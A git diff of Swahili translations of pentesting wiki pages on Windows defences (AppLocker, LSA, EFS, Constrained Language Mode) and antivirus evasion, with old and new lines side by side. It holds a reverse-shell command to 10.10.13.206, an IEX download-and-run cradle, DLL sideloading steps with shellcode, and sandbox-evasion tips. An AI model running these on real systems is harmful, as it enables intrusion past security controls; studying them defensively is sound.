Angalia faili/nyongeza zipi zimeorodheshwa kwenye orodha ya mblacklist/mwhite list:
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -26,18 +26,18 @@ Hii njia ya rejista inaelezea mipangilio na sera zinazotumika na AppLocker, ikit
### Bypass
- **Mafolda yanayoweza kuandikwa** yenye manufaa ili kupita Sera ya AppLocker: Ikiwa AppLocker inaruhusu kutekeleza chochote ndani ya `C:\Windows\System32` au `C:\Windows` kuna **mafolda yanayoweza kuandikwa** unaweza kutumia ili **kupita hii**.
- **Mafolda yanayoweza kuandikwa** yanayotumika kupita Sera ya AppLocker: Ikiwa AppLocker inaruhusu kutekeleza chochote ndani ya `C:\Windows\System32` au `C:\Windows` kuna **mafolda yanayoweza kuandikwa** unaweza kutumia **kupita hii**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Binaries za kawaida **zilizoaminika** [**"LOLBAS's"**](https://lolbas-project.github.io/) zinaweza pia kuwa na manufaa katika kupita AppLocker.
- Binaries za kawaida **zilizoaminika** [**"LOLBAS's"**](https://lolbas-project.github.io/) zinaweza pia kuwa na manufaa kupita AppLocker.
- **Kanuni zilizoandikwa vibaya zinaweza pia kupitishwa**
- Kwa mfano, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, unaweza kuunda **folda inayoitwa `allowed`** mahali popote na itaruhusiwa.
- Mashirika mara nyingi pia yanazingatia **kuzuia `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, lakini yanakosa kuhusu **mengine** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kama vile `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` au `PowerShell_ISE.exe`.
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada inaweza kuweka kwenye mfumo, na kiasi cha majaribio kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama milango ya nyuma kutasaidia kupita AppLocker**.
- Mashirika mara nyingi pia yanazingatia **kuzuia `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, lakini yanasahau kuhusu **mengine** [**mikoa ya executable ya PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kama vile `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` au `PowerShell_ISE.exe`.
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada ambao inaweza kuweka kwenye mfumo, na kiasi cha majaribio kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama milango ya nyuma kutasaidia kupita AppLocker**.
- Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** msimbo katika mchakato wowote na kupita AppLocker. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Hifadhi ya Akida
@ -52,7 +52,7 @@ Akida za ndani zipo katika faili hii, nywila zimepangwa.
**LSA** inasimamia **sera ya usalama** ya ndani (sera ya nywila, ruhusa za watumiaji...), **uthibitishaji**, **tokens za ufikiaji**...\
LSA itakuwa ndiyo itakayofanya **ukaguzi** wa akida zilizotolewa ndani ya faili ya **SAM** (kwa kuingia kwa ndani) na **kuzungumza** na **kikundi cha kudhibiti** ili kuthibitisha mtumiaji wa kikoa.
**Akida** zime **hifadhiwa** ndani ya **mchakato LSASS**: tiketi za Kerberos, hashes NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
**Akida** zime **hifadhiwa** ndani ya **mchakato wa LSASS**: tiketi za Kerberos, hashes NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
### Siri za LSA
@ -69,7 +69,7 @@ Ni hifadhidata ya Active Directory. Ipo tu katika Vikundi vya Kudhibiti.
## Mlinzi
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **zuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita ulinzi huu**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **zuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita hizi ulinzi**.
### Angalia
@ -107,16 +107,16 @@ EFS inalinda faili kupitia usimbaji, ikitumia **symmetric key** inayojulikana ka
**Mifano ya Usimbuaji bila kuanzishwa na mtumiaji** ni pamoja na:
- Wakati faili au folda zinapohamishwa kwenye mfumo wa faili usio EFS, kama [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), zinapaswa kusimbuliwa kiotomatiki.
- Wakati faili au folda zinahamishwa kwenye mfumo wa faili usio wa EFS, kama [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), zinapaswa kusimbuliwa moja kwa moja.
- Faili zilizofichwa zinazotumwa kupitia mtandao kupitia SMB/CIFS protocol zinapaswa kusimbuliwa kabla ya usafirishaji.
Njia hii ya usimbuaji inaruhusu **upatikanaji wa wazi** kwa faili zilizofichwa kwa mmiliki. Hata hivyo, kubadilisha tu nenosiri la mmiliki na kuingia hakutaruhusu usimbuaji.
Njia hii ya usimbaji inaruhusu **upatikanaji wa wazi** kwa faili zilizofichwa kwa mmiliki. Hata hivyo, kubadilisha tu nenosiri la mmiliki na kuingia hakutaruhusu usimbuaji.
**Mambo Muhimu**:
- EFS inatumia FEK ya symmetric, iliyosimbwa kwa kutumia public key ya mtumiaji.
- Usimbuaji unatumia private key ya mtumiaji kupata FEK.
- Usimbuaji wa kiotomatiki unafanyika chini ya hali maalum, kama kuhamisha kwa FAT32 au usafirishaji wa mtandao.
- Usimbuaji wa moja kwa moja unafanyika chini ya hali maalum, kama vile kunakili kwenye FAT32 au usafirishaji wa mtandao.
- Faili zilizofichwa zinapatikana kwa mmiliki bila hatua za ziada.
### Angalia taarifa za EFS
@ -140,15 +140,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft ilitengeneza **Group Managed Service Accounts (gMSA)** ili kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zina mipangilio ya "**Password never expire**" iliyoanzishwa, gMSAs hutoa suluhisho salama na linaloweza kusimamiwa zaidi:
Microsoft ilitengeneza **Group Managed Service Accounts (gMSA)** ili kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zina mipangilio ya "**Password never expire**" iliyowekwa, gMSAs hutoa suluhisho salama na linaloweza kusimamiwa zaidi:
- **Usimamizi wa Nenosiri wa Kiotomatiki**: gMSAs hutumia nenosiri tata, la herufi 240 ambalo hubadilika kiotomatiki kulingana na sera ya kikoa au kompyuta. Mchakato huu unashughulikiwa na Huduma ya Usambazaji wa Funguo ya Microsoft (KDC), ikiondoa haja ya masasisho ya nenosiri ya mikono.
- **Usimamizi wa Nenosiri wa Moja kwa Moja**: gMSAs hutumia nenosiri tata, la herufi 240 ambalo hubadilika moja kwa moja kulingana na sera ya kikoa au kompyuta. Mchakato huu unashughulikiwa na Huduma ya Usambazaji wa Funguo ya Microsoft (KDC), ikiondoa haja ya masasisho ya nenosiri ya mikono.
- **Usalama Ulioimarishwa**: Akaunti hizi hazihusiki na kufungwa na haziwezi kutumika kwa kuingia kwa mwingiliano, kuimarisha usalama wao.
- **Msaada wa Wenyeji Wengi**: gMSAs zinaweza kushirikiwa kati ya wenyeji wengi, na kuifanya kuwa bora kwa huduma zinazofanya kazi kwenye seva nyingi.
- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kufanya kazi zilizopangwa.
- **Usimamizi wa SPN ulio Rahisishwa**: Mfumo unasasisha kiotomatiki Jina la Msingi wa Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kuendesha kazi zilizopangwa.
- **Usimamizi wa SPN ulio Rahisishwa**: Mfumo unasasisha moja kwa moja Jina la Kitaalamu la Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
Nenosiri za gMSAs zinahifadhiwa katika mali ya LDAP _**msDS-ManagedPassword**_ na zinarejeshwa kiotomatiki kila siku 30 na Wasimamizi wa Kikoa (DCs). Nenosiri hili, ambalo ni blob ya data iliyosimbwa inayojulikana kama [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), linaweza kupatikana tu na wasimamizi walioidhinishwa na seva ambazo gMSAs zimewekwa, kuhakikisha mazingira salama. Ili kufikia taarifa hii, unahitaji muunganisho salama kama LDAPS, au muunganisho lazima uthibitishwe na 'Sealing & Secure'.
Nenosiri za gMSAs zinahifadhiwa katika mali ya LDAP _**msDS-ManagedPassword**_ na zinarejeshwa moja kwa moja kila siku 30 na Wasimamizi wa Kikoa (DCs). Nenosiri hili, ambalo ni blob ya data iliyosimbwa inayojulikana kama [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), linaweza kupatikana tu na wasimamizi walioidhinishwa na seva ambazo gMSAs zimewekwa, kuhakikisha mazingira salama. Ili kufikia taarifa hii, unahitaji muunganisho salama kama LDAPS, au muunganisho lazima uthibitishwe na 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -162,7 +162,7 @@ Pia, angalia hii [ukurasa wa wavuti](https://cube0x0.github.io/Relaying-for-gMSA
## LAPS
**Local Administrator Password Solution (LAPS)**, inayopatikana kwa kupakuliwa kutoka [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), inaruhusu usimamizi wa nenosiri za Msimamizi wa ndani. Nenosiri haya, ambayo ni **ya nasibu**, ya kipekee, na **yanabadilishwa mara kwa mara**, huhifadhiwa kwa kati katika Active Directory. Ufikiaji wa nenosiri haya umewekwa vizuizi kupitia ACLs kwa watumiaji walioidhinishwa. Kwa ruhusa ya kutosha, uwezo wa kusoma nenosiri za msimamizi wa ndani unapatikana.
**Local Administrator Password Solution (LAPS)**, inayopatikana kwa kupakuliwa kutoka [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), inaruhusu usimamizi wa nenosiri za Msimamizi wa ndani. Nenosiri haya, ambayo ni **ya nasibu**, ya kipekee, na **yanabadilishwa mara kwa mara**, yanahifadhiwa kwa kati katika Active Directory. Upatikanaji wa nenosiri haya umewekwa vizuizi kupitia ACLs kwa watumiaji walioidhinishwa. Kwa ruhusa ya kutosha, uwezo wa kusoma nenosiri za msimamizi wa ndani unapatikana.
{{#ref}}
../active-directory-methodology/laps.md
@ -170,20 +170,20 @@ Pia, angalia hii [ukurasa wa wavuti](https://cube0x0.github.io/Relaying-for-gMSA
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **inafungia mbali vipengele vingi** vinavyohitajika kutumia PowerShell kwa ufanisi, kama vile kuzuia vitu vya COM, kuruhusu tu aina za .NET zilizothibitishwa, michakato ya XAML, madarasa ya PowerShell, na zaidi.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **inafungia mbali nyingi ya vipengele** vinavyohitajika kutumia PowerShell kwa ufanisi, kama vile kuzuia vitu vya COM, kuruhusu tu aina za .NET zilizothibitishwa, michakato ya XAML, madarasa ya PowerShell, na zaidi.
### **Angalia**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Kupita
```powershell
```bash
#Easy bypass
Powershell -version 2
```
Katika Windows ya sasa, Bypass hiyo haitafanya kazi lakini unaweza kutumia [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Ili kuikamilisha unaweza kuhitaji** **kui** _**Ongeza Rejeleo**_ -> _Browse_ -> _Browse_ -> ongeza `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` na **badilisha mradi kuwa .Net4.5**.
**Ili kuikamilisha, unaweza kuhitaji** **kui** _**Ongeza Rejeleo**_ -> _Browse_ -> _Browse_ -> ongeza `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` na **badilisha mradi kuwa .Net4.5**.
#### Bypass ya moja kwa moja:
```bash
@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** msimbo katika mchakato wowote na kupita njia iliyozuiliwa. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Sera ya Utekelezaji wa PS
Kwa default imewekwa kuwa **imezuiliwa.** Njia kuu za kupita sera hii:
```powershell
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -223,11 +223,11 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
Ni API inayoweza kutumika kuthibitisha watumiaji.
SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka kuwasiliana. Njia inayopendekezwa kwa hili ni Kerberos. Kisha SSPI itajadili itifaki ipi ya uthibitishaji itatumika, hizi itifaki za uthibitishaji zinaitwa Security Support Provider (SSP), ziko ndani ya kila mashine ya Windows kwa njia ya DLL na mashine zote mbili lazima ziunge mkono ile ile ili kuweza kuwasiliana.
SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka kuwasiliana. Njia inayopendekezwa kwa hili ni Kerberos. Kisha SSPI itajadili itifaki ipi ya uthibitishaji itakayokuwa inatumika, hizi itifaki za uthibitishaji zinaitwa Security Support Provider (SSP), ziko ndani ya kila mashine ya Windows kwa njia ya DLL na mashine zote mbili zinapaswa kuunga mkono ile ile ili kuweza kuwasiliana.
### Main SSPs
- **Kerberos**: Ya kupendelea
- **Kerberos**: Ile inayopendekezwa
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** na **NTLMv2**: Sababu za ulinganifu
- %windir%\Windows\System32\msv1_0.dll
@ -242,7 +242,7 @@ SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ni kipengele kinachowezesha **kiashiria cha idhini kwa shughuli zilizoimarishwa**.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ni kipengele kinachowezesha **kipeperushi cha idhini kwa shughuli zilizoimarishwa**.
{{#ref}}
uac-user-account-control.md

View File

@ -25,15 +25,15 @@ Wakati mwingine unachohitaji kufanya ni kubadilisha nyuzi fulani katika binary y
Ikiwa unaunda zana zako mwenyewe, hakutakuwa na saini mbaya zinazojulikana, lakini hii inachukua muda na juhudi nyingi.
> [!NOTE]
> Njia nzuri ya kuangalia dhidi ya ugunduzi wa statiki wa Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawa faili katika sehemu nyingi kisha inamwambia Defender kuchanganua kila moja kwa kibinafsi, kwa njia hii, inaweza kukuambia ni zipi nyuzi au byte zilizowekwa alama katika binary yako.
> Njia nzuri ya kuangalia dhidi ya ugunduzi wa statiki wa Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchanganua kila moja kwa moja, kwa njia hii, inaweza kukuambia ni zipi zilizowekwa alama katika binary yako.
Ninapendekeza uangalie hii [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) kuhusu AV Evasion ya vitendo.
### **Dynamic analysis**
Uchambuzi wa dinamik ni wakati AV inakimbia binary yako katika sandbox na kuangalia shughuli hatari (mfano: kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu zaidi kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
Uchambuzi wa dinamik ni wakati AV inakimbia binary yako katika sandbox na kuangalia shughuli hatari (mfano: kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
- **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dinamik wa AV. AVs zina muda mfupi sana wa kuchanganua faili ili kusiwe na usumbufu katika mtiririko wa kazi wa mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
- **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dinamik wa AV. AVs zina muda mfupi sana wa kuchanganua faili ili zisihusishe na mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
- **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano: < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitatekelezwa katika sandbox.
- **Machine-specific checks** Ikiwa unataka kulenga mtumiaji ambaye kituo chake kimeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona kama linalingana na lile ulilosema, ikiwa halilingani, unaweza kufanya programu yako itoke.
@ -49,10 +49,10 @@ Kama tulivyosema hapo awali katika chapisho hili, **ztools za umma** hatimaye **
Kwa mfano, ikiwa unataka kudump LSASS, **je, unahitaji kweli kutumia mimikatz**? Au unaweza kutumia mradi mwingine ambao haujulikani sana na pia unadump LSASS.
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kilichowekwa alama zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kinachowekwa alama zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
> [!NOTE]
> Unapobadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa dhati, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia kama payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo.
> Unapobadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa dhati, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia ikiwa payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo.
## EXEs vs DLLs
@ -60,7 +60,7 @@ Kila wakati inapowezekana, daima **kipa kipaumbele kutumia DLLs kwa ajili ya kuz
Kama tunavyoona katika picha hii, Payload ya DLL kutoka Havoc ina kiwango cha kugundulika cha 4/26 katika antiscan.me, wakati payload ya EXE ina kiwango cha kugundulika cha 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me kulinganisha payload ya kawaida ya Havoc EXE dhidi ya kawaida ya Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me kulinganisha payload ya kawaida ya Havoc EXE dhidi ya payload ya kawaida ya Havoc DLL</p></figcaption></figure>
Sasa tutakuonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na ufanisi zaidi.
@ -69,17 +69,17 @@ Sasa tutakuonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na ufa
**DLL Sideloading** inatumia faida ya mpangilio wa utafutaji wa DLL unaotumiwa na loader kwa kuweka programu ya mwathirika na payload hatari pamoja.
Unaweza kuangalia programu zinazoweza kuathirika na DLL Sideloading kwa kutumia [Siofra](https://github.com/Cybereason/siofra) na script ifuatayo ya powershell:
```powershell
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Amri hii itatoa orodha ya programu zinazoweza kuathiriwa na DLL hijacking ndani ya "C:\Program Files\\" na faili za DLL wanazojaribu kupakia.
Hii amri itatoa orodha ya programu zinazoweza kuathiriwa na DLL hijacking ndani ya "C:\Program Files\\" na faili za DLL wanazojaribu kupakia.
Ninapendekeza sana **uchunguze programu zinazoweza kuathiriwa na DLL Hijackable/Sideloadable mwenyewe**, mbinu hii ni ya siri sana ikiwa itafanywa vizuri, lakini ukitumia programu zinazojulikana za DLL Sideloadable, unaweza kukamatwa kwa urahisi.
Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, haitapakia mzigo wako, kwani programu inatarajia kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**.
Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, haitapakia mzigo wako, kwani programu inatarajia baadhi ya kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**.
**DLL Proxying** inasambaza simu ambazo programu inafanya kutoka kwa proxy (na mbaya) DLL hadi DLL asilia, hivyo kuhifadhi kazi ya programu na kuwa na uwezo wa kushughulikia utekelezaji wa mzigo wako.
@ -92,28 +92,26 @@ Hizi ndizo hatua nilizofuata:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL iliyobadilishwa jina.
Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo wa DLL, na DLL iliyobadilishwa jina asilia.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
Hizi ndizo matokeo:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Msimbo wetu wa shell (uliokodishwa na [SGN](https://github.com/EgeBalci/sgn)) na DLL ya proxy wana kiwango cha Ugunduzi wa 0/26 katika [antiscan.me](https://antiscan.me)! Ningesema hiyo ni mafanikio.
Mbili zetu shellcode (iliyopangwa na [SGN](https://github.com/EgeBalci/sgn)) na proxy DLL zina kiwango cha Ugunduzi cha 0/26 katika [antiscan.me](https://antiscan.me)! Ningesema hiyo ni mafanikio.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Ninapendekeza **sana** uangalie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) kuhusu DLL Sideloading na pia [video ya ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) ili kujifunza zaidi kuhusu kile tulichozungumzia kwa undani zaidi.
> Ninapendekeza **sana** uangalie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) kuhusu DLL Sideloading na pia [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) ili kujifunza zaidi kuhusu kile tulichozungumzia kwa undani zaidi.
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze ni zana ya payload kwa ajili ya kupita EDRs kwa kutumia michakato iliyositishwa, syscalls za moja kwa moja, na mbinu mbadala za utekelezaji`
`Freeze ni toolkit ya payload kwa ajili ya kupita EDRs kwa kutumia michakato iliyositishwa, syscalls za moja kwa moja, na mbinu mbadala za utekelezaji`
Unaweza kutumia Freeze kupakia na kutekeleza msimbo wako wa shell kwa njia ya siri.
Unaweza kutumia Freeze kupakia na kutekeleza shellcode yako kwa njia ya siri.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -123,11 +121,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugundulika kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
> Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugunduliwa kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
## AMSI (Msingi wa Skanning ya Anti-Malware)
AMSI ilianzishwa ili kuzuia "[malware isiyo na faili](https://en.wikipedia.org/wiki/Fileless_malware)". Awali, AV zilikuwa na uwezo wa kuskan **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja kwenye kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
AMSI ilianzishwa ili kuzuia "[malware isiyo na faili](https://en.wikipedia.org/wiki/Fileless_malware)". Awali, AVs zilikuwa na uwezo wa kuskan **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja katika kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
@ -137,15 +135,17 @@ Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
- JavaScript na VBScript
- Office VBA macros
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa kwa siri na haujaeleweka.
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa na haujaeleweka.
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha arifa ifuatayo kwenye Windows Defender.
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha onyo lifuatalo kwenye Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
